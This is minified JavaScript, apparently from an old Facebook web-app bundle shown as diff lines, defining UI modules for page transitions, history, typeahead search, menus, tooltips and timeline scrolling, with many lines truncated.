+__d("DOMScroll",["Animation","Arbiter","DOM","DOMQuery","Vector","ViewportBounds","ge","isAsyncScrollQuery"],function(a,b,c,d,e,f){var g=b('Animation'),h=b('Arbiter'),i=b('DOM'),j=b('DOMQuery'),k=b('Vector'),l=b('ViewportBounds'),m=b('ge'),n=b('isAsyncScrollQuery'),o={SCROLL:'dom-scroll',getScrollState:function(){var p=k.getViewportDimensions(),q=k.getDocumentDimensions(),r=(q.x>p.x),s=(q.y>p.y);r+=0;s+=0;return new k(r,s);},_scrollbarSize:null,_initScrollbarSize:function(){var p=i.creat [...]
+__d("HistoryManager",["Event","function-extensions","Cookie","Env","URI","UserAgent","copyProperties","emptyFunction","goOrReplace"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('Cookie'),i=b('Env'),j=b('URI'),k=b('UserAgent'),l=b('copyProperties'),m=b('emptyFunction'),n=b('goOrReplace'),o={_IFRAME_BASE_URI:'http://static.ak.facebook.com/common/history_manager.php',history:null,current:0,fragment:null,_setIframeSrcFragment:function(p){p=p.toString();var q=o.his [...]
+__d("computeRelativeURI",["URI","isEmpty"],function(a,b,c,d,e,f){var g=b('URI'),h=b('isEmpty');function i(k,l){if(!l)return k;if(l.charAt(0)=='/')return l;var m=k.split('/').slice(0,-1);m[0]!=='';l.split('/').forEach(function(n){if(!(n=='.'))if(n=='..'){if(m.length>1)m=m.slice(0,-1);}else m.push(n);});return m.join('/');}function j(k,l){var m=new g(),n=l;k=new g(k);l=new g(l);if(l.getDomain()&&!l.isFacebookURI())return n;var o=k,p=['Protocol','Domain','Port','Path','QueryData','Fragment' [...]
+__d("escapeJSQuotes",[],function(a,b,c,d,e,f){function g(h){if(typeof h=='undefined'||h==null||!h.valueOf())return '';return h.toString().replace(/\\/g,'\\\\').replace(/\n/g,'\\n').replace(/\r/g,'\\r').replace(/"/g,'\\x22').replace(/'/g,'\\\'').replace(/</g,'\\x3c').replace(/>/g,'\\x3e').replace(/&/g,'\\x26');}e.exports=g;});
+__d("setTimeoutAcrossTransitions",[],function(a,b,c,d,e,f){function g(h,i){return setTimeout(h,i,false);}e.exports=g;});
+__d("PageTransitions",["Arbiter","Dialog","DOMQuery","DOMScroll","Env","Event","Form","HistoryManager","JSLogger","LinkController","OnloadHooks","Parent","URI","UserAgent","Vector","areObjectsEqual","clickRefAction","computeRelativeURI","copyProperties","escapeJSQuotes","ge","goOrReplace","htmlize","setTimeoutAcrossTransitions","startsWith","tx","userAction"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Dialog'),i=b('DOMQuery'),j=b('DOMScroll'),k=b('Env'),l=b('Event'),m=b('Form'),n=b('H [...]
+__d("LayerHideOnTransition",["function-extensions","PageTransitions","copyProperties"],function(a,b,c,d,e,f){b('function-extensions');var g=b('PageTransitions'),h=b('copyProperties');function i(j){this._layer=j;}h(i.prototype,{_enabled:false,_subscribed:false,enable:function(){this._enabled=true;if(!this._subscribed){this._subscribe.bind(this).defer();this._subscribed=true;}},disable:function(){this._enabled=false;},_subscribe:function(){g.registerHandler(function(){if(this._enabled)this [...]
+__d("TabbableElements",["Style","createArrayFrom"],function(a,b,c,d,e,f){var g=b('Style'),h=b('createArrayFrom');function i(l){if(l.tabIndex>=0)return true;switch(l.tagName){case "A":return l.href&&l.rel!="ignore";case "INPUT":return l.type!="hidden"&&l.type!="file"&&!l.disabled;case "BUTTON":case "SELECT":case "TEXTAREA":return !l.disabled;}return false;}function j(l){if(l.offsetHeight===0&&l.offsetWidth===0)return false;while(l!==document&&g.get(l,'visibility')!='hidden')l=l.parentNode [...]
+__d("TabIsolation",["Event","DOMQuery","Focus","Keys","TabbableElements","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('DOMQuery'),i=b('Focus'),j=b('Keys'),k=b('TabbableElements'),l=b('copyProperties');function m(n){this._root=n;this._eventHandler=null;}l(m.prototype,{enable:function(){this._eventHandler=g.listen(window,'keydown',function(n){this._tabHandler(n);}.bind(this),g.Priority.URGENT);},disable:function(){if(this._eventHandler){this._eventHandler.remove();this._eve [...]
+__d("LayerTabIsolation",["TabIsolation","copyProperties"],function(a,b,c,d,e,f){var g=b('TabIsolation'),h=b('copyProperties');function i(j){this._layer=j;this._tabIsolation=null;}h(i.prototype,{_subscriptions:[],enable:function(){this._tabIsolation=new g(this._layer.getRoot());this._subscriptions=[this._layer.subscribe('show',this._tabIsolation.enable.bind(this._tabIsolation)),this._layer.subscribe('hide',this._tabIsolation.disable.bind(this._tabIsolation))];},disable:function(){while(th [...]
+__d("LayerMouseHooks",["Event","function-extensions","Arbiter","ContextualThing","Layer","copyProperties"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('Arbiter'),i=b('ContextualThing'),j=b('Layer'),k=b('copyProperties'),l=new h();function m(n){this._layer=n;this._subscriptions=[];this._currentlyActive=false;}k(m.prototype,{enable:function(){this._subscriptions=[l.subscribe('mouseenter',this._handleActive.bind(this)),l.subscribe('mouseleave',this._handleInactiv [...]
+__d("Overlay",["Class","CSS","DataStore","DOM","Layer","LayerButtons","LayerDestroyOnHide","LayerFadeOnHide","LayerFadeOnShow","LayerFormHooks","LayerHideOnBlur","LayerHideOnEscape","LayerHideOnSuccess","LayerHideOnTransition","LayerTabIsolation","LayerMouseHooks","copyProperties"],function(a,b,c,d,e,f){var g=b('Class'),h=b('CSS'),i=b('DataStore'),j=b('DOM'),k=b('Layer'),l=b('LayerButtons'),m=b('LayerDestroyOnHide'),n=b('LayerFadeOnHide'),o=b('LayerFadeOnShow'),p=b('LayerFormHooks'),q=b( [...]
+__d("ContextualDialogX",["Event","ARIA","Arbiter","ArbiterMixin","Bootloader","Class","ContextualDialogFooterLink","ContextualThing","CSS","DataStore","DOM","Locale","Overlay","Parent","Style","Vector","$","copyProperties","getOverlayZIndex"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ARIA'),i=b('Arbiter'),j=b('ArbiterMixin'),k=b('Bootloader'),l=b('Class'),m=b('ContextualDialogFooterLink'),n=b('ContextualThing'),o=b('CSS'),p=b('DataStore'),q=b('DOM'),r=b('Locale'),s=b('Overlay'),t=b('Pa [...]
+__d("Rect",["Vector","$","copyProperties"],function(a,b,c,d,e,f){var g=b('Vector'),h=b('$'),i=b('copyProperties');function j(k,l,m,n,o){if(arguments.length===1){if(k instanceof j)return k;if(k instanceof g)return new j(k.y,k.x,k.y,k.x,k.domain);return j.getElementBounds(h(k));}i(this,{t:k,r:l,b:m,l:n,domain:o||'pure'});}i(j.prototype,{w:function(){return this.r-this.l;},h:function(){return this.b-this.t;},toString:function(){return '(('+this.l+', '+this.t+'), ('+this.r+', '+this.b+'))';} [...]
+__d("throttle",[],function(a,b,c,d,e,f){function g(h,i,j,k){if(i==null)i=100;var l,m,n,o,p,q,r,s,t=0;function u(){r&&h.call(j,l,m,n,o,p);r=false;}return function v(w,x,y,z,aa){r=true;l=w;m=x;n=y;o=z;p=aa;q=Date.now();if(q-t>2*i){s=null;u();}if(!s){t=q;s=setTimeout(function(){s=null;u();},i,!k);}};}e.exports=g;});
+__d("ContextualLayer",["array-extensions","Event","Arbiter","ARIA","Class","ContextualThing","CSS","DataStore","DOM","Layer","LayerHideOnTransition","Locale","Parent","Rect","Style","Vector","copyProperties","throttle","emptyFunction","getOverlayZIndex"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('Arbiter'),i=b('ARIA'),j=b('Class'),k=b('ContextualThing'),l=b('CSS'),m=b('DataStore'),n=b('DOM'),o=b('Layer'),p=b('LayerHideOnTransition'),q=b('Locale'),r=b('Parent'),s=b( [...]
+__d("ContextualLayerDimensions",["DOM","Locale","Rect","Vector","ViewportBounds","ge","getOverlayZIndex"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('Locale'),i=b('Rect'),j=b('Vector'),k=b('ViewportBounds'),l=b('ge'),m=b('getOverlayZIndex'),n={getViewportRect:function(o){var p=l('globalContainer'),q=o.getContext(),r=(p&&g.contains(p,q))||m(q)<300,s=i.getViewportBounds();if(r){s.t+=k.getTop();if(h.isRTL()){s.l+=k.getRight();}else s.r-=k.getRight();}return s;},getLayerRect:function(o,p){var [...]
+__d("ContextualLayerAutoFlip",["array-extensions","ContextualLayerDimensions","DOM","Vector","copyProperties"],function(a,b,c,d,e,f){b('array-extensions');var g=b('ContextualLayerDimensions'),h=b('DOM'),i=b('Vector'),j=b('copyProperties');function k(l){this._layer=l;}j(k.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('adjust',this._adjustOrientation.bind(this));if(this._layer.isShown())this._layer.updatePosition();},disable:function(){this._subsc [...]
+__d("ContextualLayerHideOnScroll",["Event","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('copyProperties');function i(j){this._layer=j;}h(i.prototype,{_subscriptions:[],enable:function(){this._subscriptions=[this._layer.subscribe('contextchange',this._handleContextChange.bind(this)),this._layer.subscribe('show',this.attach.bind(this)),this._layer.subscribe('hide',this.detach.bind(this))];},disable:function(){while(this._subscriptions.length)this._subscriptions.pop().unsubs [...]
+__d("BasicTypeaheadRenderer",["DOM"],function(a,b,c,d,e,f){var g=b('DOM');function h(i,j){var k=[];if(i.icon)k.push(g.create('img',{alt:'',src:i.icon}));if(i.text)k.push(g.create('span',{className:'text'},[i.text]));if(i.subtext)k.push(g.create('span',{className:'subtext'},[i.subtext]));var l=g.create('li',{className:i.type||''},k);if(i.text)l.setAttribute('aria-label',i.text);return l;}h.className='basic';e.exports=h;});
+__d("TypeaheadView",["Event","ArbiterMixin","BasicTypeaheadRenderer","CSS","DOM","Parent","$","copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ArbiterMixin'),i=b('BasicTypeaheadRenderer'),j=b('CSS'),k=b('DOM'),l=b('Parent'),m=b('$'),n=b('copyProperties'),o=b('emptyFunction');function p(q,r){this.element=this.content=m(q);n(this,r);}n(p.prototype,h,{events:['highlight','render','reset','select','beforeRender','next','prev'],renderer:i,autoSelect:false,ignoreMo [...]
+__d("BucketedTypeaheadView",["Class","DOM","TypeaheadView","copyProperties"],function(a,b,c,d,e,f){var g=b('Class'),h=b('DOM'),i=b('TypeaheadView'),j=b('copyProperties');function k(l,m){this.parent.construct(this,l,m);}g.extend(k,i);j(k.prototype,{render:function(l,m,n){m=this.buildBuckets(l,m);return this.parent.render(l,m,n);},highlight:function(l,m){if(l==-1&&this.index!==0)l=this.index;if(l>=0&&l<this.items.length&&this.results[l].type=='header')l=l+1;this.parent.highlight(l,m);},bui [...]
+__d("ContextualTypeaheadView",["Class","ContextualLayer","ContextualLayerAutoFlip","ContextualLayerHideOnScroll","CSS","DOM","Style","BucketedTypeaheadView","Vector","copyProperties"],function(a,b,c,d,e,f){var g=b('Class'),h=b('ContextualLayer'),i=b('ContextualLayerAutoFlip'),j=b('ContextualLayerHideOnScroll'),k=b('CSS'),l=b('DOM'),m=b('Style'),n=b('BucketedTypeaheadView'),o=b('Vector'),p=b('copyProperties');function q(r,s){this.parent.construct(this,r,s);}g.extend(q,n);p(q.prototype,{in [...]
+__d("DOMClone",[],function(a,b,c,d,e,f){var g={shallowClone:function(i){return h(i,false);},deepClone:function(i){return h(i,true);}};function h(i,j){var k=i.cloneNode(j);if(typeof k.__FB_TOKEN!=='undefined')delete k.__FB_TOKEN;return k;}e.exports=g;});
+__d("DialogHideOnSuccess",["copyProperties","CSS","cx"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('CSS'),i=b('cx');function j(k){this._layer=k;}g(j.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('success',this._handle.bind(this));},disable:function(){this._subscription.unsubscribe();this._subscription=null;},_handle:function(k,event){if(h.hasClass(event.getTarget(),"_s"))this._layer.hide();}});e.exports=j;});
+__d("DocumentTitle",["Arbiter"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=document.title,i=null,j=1500,k=[],l=0,m=null,n=false;function o(){if(k.length>0){if(!n){p(k[l].title);l=++l%k.length;}else q();}else{clearInterval(m);m=null;q();}}function p(s){document.title=s;n=true;}function q(){r.set(i||h,true);n=false;}var r={get:function(){return h;},set:function(s,t){document.title=s;if(!t){h=s;i=null;g.inform('update_title',s);}else i=s;},blink:function(s){var t={title:s};k.push(t);if(m=== [...]
+__d("Ease",[],function(a,b,c,d,e,f){var g={makePowerOut:function(h){return function(i){var j=1-Math.pow(1-i,h);return (j*10000|0)/10000;};},makePowerIn:function(h){return function(i){var j=Math.pow(i,h);return (j*10000|0)/10000;};},makePowerInOut:function(h){return function(i){var j=((i*=2)<1)?Math.pow(i,h)*.5:1-Math.abs(Math.pow(2-i,h))*.5;return (j*10000|0)/10000;};},sineOut:function(h){return Math.sin(h*Math.PI*.5);},sineIn:function(h){return 1-Math.cos(h*Math.PI*.5);},sineInOut:funct [...]
+__d("FileInput",["Event","ArbiterMixin","DOM","DOMClone","Focus","UserAgent","copyProperties","cx"],function(a,b,c,d,e,f){var g=b('Event'),h=b('ArbiterMixin'),i=b('DOM'),j=b('DOMClone'),k=b('Focus'),l=b('UserAgent'),m=b('copyProperties'),n=b('cx'),o=l.ie();function p(q,r,s){this.container=q;this.control=r;this.input=s;var t=i.scry(this.container,'a')[0];t&&t.removeAttribute('href');var u=i.create('div',{className:"_3jk"},this.input);i.appendContent(this.control,u);this._initListeners();} [...]
+__d("JSONPTransport",["ArbiterMixin","DOM","HTML","URI","copyProperties"],function(a,b,c,d,e,f){var g=b('ArbiterMixin'),h=b('DOM'),i=b('HTML'),j=b('URI'),k=b('copyProperties'),l={},m=2,n='jsonp',o='iframe';function p(r){delete l[r];}function q(r,s){this._type=r;this._uri=s;l[this.getID()]=this;}k(q,{respond:function(r,s,t){var u=l[r];if(u){if(!t)p(r);if(u._type==o)s=JSON.parse(JSON.stringify(s));a.async_callback(u.handleResponse.bind(u),'json')(s);}else if(a.logJSError&&!t)a.logJSError(' [...]
+__d("JSXDOM",["DOM","flattenArray"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('flattenArray'),i=['a','br','button','checkbox','dd','div','dl','dt','form','h1','h2','h3','h4','h5','h6','hr','i','iframe','img','input','label','li','option','p','pre','select','span','strong','table','tbody','thead','td','textarea','th','tr','ul'],j={};i.forEach(function(k){var l=function(m){var n;if(m.children){n=Array.isArray(m.children)?h(m.children):h([m.children]);delete m.children;}return g.create(k,m,n [...]
+__d("KeyStatus",["Event"],function(a,b,c,d,e,f){var g=b('Event'),h=null,i=null;function j(){if(!i)i=g.listen(window,'blur',function(){h=null;k();});}function k(){if(i){i.remove();i=null;}}g.listen(document.documentElement,'keydown',function(m){h=g.getKeyCode(m);j();},g.Priority.URGENT);g.listen(document.documentElement,'keyup',function(m){h=null;k();},g.Priority.URGENT);var l={isKeyDown:function(){return !!h;},getKeyDownCode:function(){return h;}};e.exports=l;});
+__d("Menu",["Event","Arbiter","CSS","DataStore","DOM","HTML","Keys","Parent","Run","Style","UserAgent","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('CSS'),j=b('DataStore'),k=b('DOM'),l=b('HTML'),m=b('Keys'),n=b('Parent'),o=b('Run'),p=b('Style'),q=b('UserAgent'),r=b('copyProperties'),s=null,t='menu:mouseover',u=null;function v(da){if(i.hasClass(da,'uiMenuContainer'))return da;return n.byClass(da,'uiMenu');}function w(da){return n.byClass(da,'uiMenuItem');}fu [...]
+__d("MenuXItemInterface",["copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('emptyFunction');function i(){}g(i.prototype,{_root:null,getRoot:function(){if(!this._root)this._root=this.render();return this._root;},render:h,getAccessKey:h,hasAction:h.thatReturnsFalse,focus:h.thatReturnsFalse,blur:h.thatReturnsFalse,handleClick:h.thatReturnsFalse});e.exports=i;});
+__d("MenuXItemBase",["Class","copyProperties","DOM","HTML","MenuXItemInterface"],function(a,b,c,d,e,f){var g=b('Class'),h=b('copyProperties'),i=b('DOM'),j=b('HTML'),k=b('MenuXItemInterface');function l(m){this.parent.construct(this);this._data=m;}g.extend(l,k);h(l.prototype,{render:function(){var m='uiMenuXItem';if(this._data.className)m+=' '+this._data.className;var n={className:m,'aria-selected':'false'};for(var o in this._data)if(o.indexOf('data-')===0)n[o]=this._data[o];return i.crea [...]
+__d("MenuXItem",["Class","CSS","DOM","MenuXItemBase","copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('Class'),h=b('CSS'),i=b('DOM'),j=b('MenuXItemBase'),k=b('copyProperties'),l=b('emptyFunction');function m(n){this.parent.construct(this,n);}g.extend(m,j);k(m.prototype,{getValue:function(){return this._data.value;},getAccessKey:function(){return this._data.label&&this._data.label.charAt(0);},hasAction:l.thatReturnsTrue,focus:function(n){if(!this._root.offsetParent)return f [...]
+__d("coalesce",[],function(a,b,c,d,e,f){function g(){for(var h=0;h<arguments.length;++h)if(arguments[h]!=null)return arguments[h];return null;}e.exports=g;});
+__d("requestAnimationFrame",["emptyFunction"],function(a,b,c,d,e,f){var g=b('emptyFunction'),h=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(i){return window.setTimeout(i,33);};h(g);e.exports=h;});
+__d("queryThenMutateDOM",["function-extensions","requestAnimationFrame"],function(a,b,c,d,e,f){b('function-extensions');var g=b('requestAnimationFrame');function h(n,o,p){if(!n&&!o)return;if(p&&i.hasOwnProperty(p)){return;}else if(p)i[p]=1;m();o&&j.push(o);n&&k.push(n);}var i={},j=[],k=[];function l(){var n=k;k=[];var o=j;j=[];i={};var p;for(p=0;p<n.length;++p)n[p]();for(p=0;p<o.length;++p)o[p]();}function m(){if(!k.length&&!j.length)g(g.curry(l));}e.exports=h;});
+__d("OnVisible",["Event","Arbiter","Run","Vector","ViewportBounds","coalesce","copyProperties","queryThenMutateDOM"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('Run'),j=b('Vector'),k=b('ViewportBounds'),l=b('coalesce'),m=b('copyProperties'),n=b('queryThenMutateDOM'),o=[],p,q=[],r,s,t,u;function v(){o.forEach(function(ba){ba.remove();});if(s){s.remove();r.remove();p.unsubscribe();s=r=p=null;}o.length=0;}function w(){if(!o.length){v();return;}q.length=0;t=j.getScrollPosition [...]
+__d("PixelRatio",["Arbiter","Cookie","Run"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Cookie'),i=b('Run'),j='dpr',k,l;function m(){return window.devicePixelRatio||1;}function n(){h.set(j,m());}function o(){h.clear(j);}function p(){var r=m();if(r!==k){n();}else o();}var q={startDetecting:function(r){k=r||1;o();if(l)return;l=[g.subscribe('pre_page_transition',p)];i.onBeforeUnload(p);}};e.exports=q;});
+__d("PostLoadJS",["Bootloader","Run","emptyFunction"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('Run'),i=b('emptyFunction');function j(l,m){h.onAfterLoad(function(){g.loadModules.call(g,[l],m);});}var k={loadAndRequire:function(l){j(l,i);},loadAndCall:function(l,m,n){j(l,function(o){o[m].apply(o,n);});}};e.exports=k;});
+__d("UIPagelet",["AjaxPipeRequest","AsyncRequest","DOM","HTML","ScriptPathState","URI","copyProperties","emptyFunction","ge"],function(a,b,c,d,e,f){var g=b('AjaxPipeRequest'),h=b('AsyncRequest'),i=b('DOM'),j=b('HTML'),k=b('ScriptPathState'),l=b('URI'),m=b('copyProperties'),n=b('emptyFunction'),o=b('ge');function p(q,r,s,t){this._id=q||null;this._element=o(q||i.create('div'));this._src=r||null;this._context_data=s||{};this._data=t||{};this._handler=n;this._request=null;this._use_ajaxpipe= [...]
+__d("ScrollingPager",["Arbiter","copyProperties","CSS","OnVisible","UIPagelet","$","ge"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('copyProperties'),i=b('CSS'),j=b('OnVisible'),k=b('UIPagelet'),l=b('$'),m=b('ge'),n={};function o(p,q,r,s){this.scroll_loader_id=p;this.pagelet_src=q;this.data=r;this.options=s||{};if(this.options.target_id){this.target_id=this.options.target_id;this.options.append=true;}else this.target_id=p;this.handler=null;}h(o,{REGISTERED:'ScrollingPager/registered',g [...]
+__d("InputSelection",["DOM","Focus"],function(a,b,c,d,e,f){var g=b('DOM'),h=b('Focus'),i={get:function(j){if(!document.selection)return {start:j.selectionStart,end:j.selectionEnd};var k=document.selection.createRange();if(k.parentElement()!==j)return {start:0,end:0};var l=j.value.length;if(g.isNodeOfType(j,'input')){return {start:-k.moveStart('character',-l),end:-k.moveEnd('character',-l)};}else{var m=k.duplicate();m.moveToElementText(j);m.setEndPoint('StartToEnd',k);var n=l-m.text.lengt [...]
+__d("Toggler",["array-extensions","Event","Arbiter","ArbiterMixin","ContextualThing","CSS","DataStore","Dialog","DOM","Parent","cx","copyProperties","createArrayFrom","emptyFunction","ge","getContextualParent","getObjectValues"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('Arbiter'),i=b('ArbiterMixin'),j=b('ContextualThing'),k=b('CSS'),l=b('DataStore'),m=b('Dialog'),n=b('DOM'),o=b('Parent'),p=b('cx'),q=b('copyProperties'),r=b('createArrayFrom'),s=b('emptyFunction'),t [...]
+__d("Tooltip",["Event","AsyncRequest","ContextualLayer","ContextualLayerAutoFlip","CSS","DataStore","DOM","Style","URI","copyProperties","emptyFunction","tx"],function(a,b,c,d,e,f){var g=b('Event'),h=b('AsyncRequest'),i=b('ContextualLayer'),j=b('ContextualLayerAutoFlip'),k=b('CSS'),l=b('DataStore'),m=b('DOM'),n=b('Style'),o=b('URI'),p=b('copyProperties'),q=b('emptyFunction'),r=b('tx'),s=null,t=null,u=null,v=[];function w(){if(!t){u=m.create('div',{className:'tooltipContent'});var da=m.cr [...]
+__d("Selector",["Event","Arbiter","Button","ContextualLayer","CSS","DataStore","DOM","Focus","HTML","Keys","KeyStatus","Menu","Parent","Style","Toggler","Tooltip","Vector","copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('Button'),j=b('ContextualLayer'),k=b('CSS'),l=b('DataStore'),m=b('DOM'),n=b('Focus'),o=b('HTML'),p=b('Keys'),q=b('KeyStatus'),r=b('Menu'),s=b('Parent'),t=b('Style'),u=b('Toggler'),v=b('Tooltip'),w=b('Vector'),x=b('copyProperties [...]
+__d("TextInputControl",["Event","function-extensions","Class","DOMControl","Input","copyProperties","debounce"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('Class'),i=b('DOMControl'),j=b('Input'),k=b('copyProperties'),l=b('debounce');function m(n){this.parent.construct(this,n);var o=this.getRoot(),p=l(this.update.bind(this),0);g.listen(o,{input:p,keydown:p,paste:p});}h.extend(m,i);k(m.prototype,{setMaxLength:function(n){j.setMaxLength(this.getRoot(),n);return [...]
+__d("TextMetrics",["array-extensions","Event","DOM","Style","UserAgent","debounce"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('DOM'),i=b('Style'),j=b('UserAgent'),k=b('debounce'),l;function m(){if(typeof l==='undefined'){var o=h.create('div',{className:'webkitZoomTest'}),p=function(){h.appendContent(document.body,o);l=100/o.clientHeight;h.remove(o);};g.listen(window,'resize',k(p,100));p();}return l;}function n(o,p){this._node=o;this._flexible=!!p;var q='textarea',r [...]
+__d("TextAreaControl",["Event","Arbiter","ArbiterMixin","Class","CSS","DOMControl","Style","TextInputControl","TextMetrics","copyProperties"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('ArbiterMixin'),j=b('Class'),k=b('CSS'),l=b('DOMControl'),m=b('Style'),n=b('TextInputControl'),o=b('TextMetrics'),p=b('copyProperties');function q(s,t){return m.getFloat(s,t)||0;}function r(s){this.autogrow=k.hasClass(s,'uiTextareaAutogrow');this.parent.construct(this,s);this.width=null;g.li [...]
+__d("Typeahead",["array-extensions","Event","ArbiterMixin","BehaviorsMixin","DataStore","DOM","Parent","Run","copyProperties","emptyFunction","ge"],function(a,b,c,d,e,f){b('array-extensions');var g=b('Event'),h=b('ArbiterMixin'),i=b('BehaviorsMixin'),j=b('DataStore'),k=b('DOM'),l=b('Parent'),m=b('Run'),n=b('copyProperties'),o=b('emptyFunction'),p=b('ge');function q(r,s,t,u){this.args={data:r,view:s,core:t};j.set(u,'Typeahead',this);this.element=u;}q.getInstance=function(r){var s=l.byClas [...]
+__d("TypeaheadCore",["Event","Arbiter","ArbiterMixin","CSS","DOM","Input","InputSelection","Keys","UserAgent","bind","copyProperties","emptyFunction"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('ArbiterMixin'),j=b('CSS'),k=b('DOM'),l=b('Input'),m=b('InputSelection'),n=b('Keys'),o=b('UserAgent'),p=b('bind'),q=b('copyProperties'),r=b('emptyFunction');function s(t){q(this,t);}q(s.prototype,i,{events:['blur','focus','click','unselect','loading'],keepFocused:true,resetOnSelect: [...]
+__d("throttleAcrossTransitions",["throttle"],function(a,b,c,d,e,f){var g=b('throttle');function h(i,j,k){return g(i,j,k,true);}e.exports=h;});
+__d("UserActionHistory",["Arbiter","ClickRefUtils","throttleAcrossTransitions"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('ClickRefUtils'),i=b('throttleAcrossTransitions'),j={click:1,submit:1},k=false,l={log:[],len:0},m=i(function(){try{k._ua_log=JSON.stringify(l);}catch(p){k=false;}},1000);function n(){try{if(a.sessionStorage){k=a.sessionStorage;k._ua_log&&(l=JSON.parse(k._ua_log));}}catch(p){k=false;}l.log[l.len%10]={ts:Date.now(),path:'-',index:l.len,type:'init',iref:'-'};l.len++;g [...]
+__d("UserActivity",["Arbiter","Event"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Event'),i=5000,j=500,k=-5,l=Date.now(),m=l,n={subscribeOnce:function(p){var q=n.subscribe(function(){n.unsubscribe(q);p();});},subscribe:function(p){return g.subscribe('useractivity/activity',p);},unsubscribe:function(p){p.unsubscribe();},isActive:function(p){return (new Date()-l<(p||i));},getLastInformTime:function(){return m;}};function o(event){l=Date.now();var p=l-m;if(p>j){m=l;g.inform('useractivity [...]
+__d("csx",[],function(a,b,c,d,e,f){function g(h){throw new Error('csx(...): Unexpected class selector transformation.');}e.exports=g;});
+__d("enforceMaxLength",["Event","function-extensions","DOM","Input","InputSelection"],function(a,b,c,d,e,f){var g=b('Event');b('function-extensions');var h=b('DOM'),i=b('Input'),j=b('InputSelection'),k=function(n,o){var p=i.getValue(n),q=p.length,r=q-o;if(r>0){var s,t;try{s=j.get(n);t=s.end;}catch(u){s=null;t=0;}if(t>=r)q=t;var v=q-r;if(v&&(p.charCodeAt(v-1)&64512)===55296)v--;t=Math.min(t,v);i.setValue(n,p.slice(0,v)+p.slice(q));if(s)j.set(n,Math.min(s.start,t),t);}},l=function(event){v [...]
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("reportData",["EagleEye","userAction"],function(a,b,c,d,e,f){var g=b('EagleEye'),h=b('userAction');function i(j,k){k=k||{};var l={ft:(k.ft||{}),gt:(k.gt||{})},m='-',n=a.ArbiterMonitor,o=(!!n)?n.getActFields():[],p=(!n)?'r':'a',q=[Date.now(),h.getCurrentUECount(),m,j,m,m,p,a.URI?a.URI.getRequestURI(true,true).getUnqualifiedURI().toString():location.pathname+location.search+location.hash,l,0,0,0,0].concat(o);g.log('act',q);}e.exports=i;});
+__d("legacy:onvisible",["OnVisible"],function(a,b,c,d){a.OnVisible=b('OnVisible');},3);
+__d("TimelineConstants",[],function(a,b,c,d,e,f){var g={DS_HEIGHT:'timeline-unit-height',DS_LOADED:'timeline-capsule-loaded',DS_SIDEORG:'timeline-unit-sideorg',DS_TAILBALANCE:'timeline-capsule-tailbalance',DS_COLUMN_HEIGHT_DIFFERENTIAL:'timeline-column-diff-height',FIXED_SIDE_LEFT:'left',FIXED_SIDE_RIGHT:'right',FIXED_SIDE_BOTH:'both',FIXED_SIDE_NONE:'none',SCROLL_TO_OFFSET:30,SUBSECTION_SCROLL_TO_OFFSET:90,SCRUBBER_DEFAULT_OFFSET:38,SECTION_LOADING:'TimelineConstants/sectionLoading',SEC [...]
+__d("TimelineLegacySections",[],function(a,b,c,d,e,f){var g={},h={get:function(i){return g[i];},getAll:function(){return g;},remove:function(i){delete g[i];},removeAll:function(){g={};},set:function(i,j){g[i]=j;}};e.exports=h;});
+__d("TimelineURI",["URI"],function(a,b,c,d,e,f){var g=b('URI'),h={TIMELINE_KEY:'timeline',WALL_KEY:'wall',parseURI:function(i){i=g(i);var j=i.getQueryData(),k=i.getPath(),l=k.split('/').slice(1);if(l[0]=='people'||l[0]=='pages')l=l.slice(2);var m=j.sk||l[1]||h.TIMELINE_KEY;if(m==h.WALL_KEY)m=h.TIMELINE_KEY;var n=null,o=null;if(m==h.TIMELINE_KEY){o=parseInt(l[2],10)||null;n=parseInt(l[3],10)||null;}return {path:k,id:j.id||l[0],key:m,viewas:j.viewas?j.viewas:0,filter:j.filter?j.filter:null [...]
+__d("TimelineController",["Event","Arbiter","CSS","DataStore","DOMQuery","Run","ScrollingPager","TimelineConstants","TimelineLegacySections","TimelineURI","Vector","ViewportBounds","$","ge","queryThenMutateDOM"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('CSS'),j=b('DataStore'),k=b('DOMQuery'),l=b('Run'),m=b('ScrollingPager'),n=b('TimelineConstants'),o=b('TimelineLegacySections'),p=b('TimelineURI'),q=b('Vector'),r=b('ViewportBounds'),s=b('$'),t=b('ge'),u=b('queryThenMutate [...]
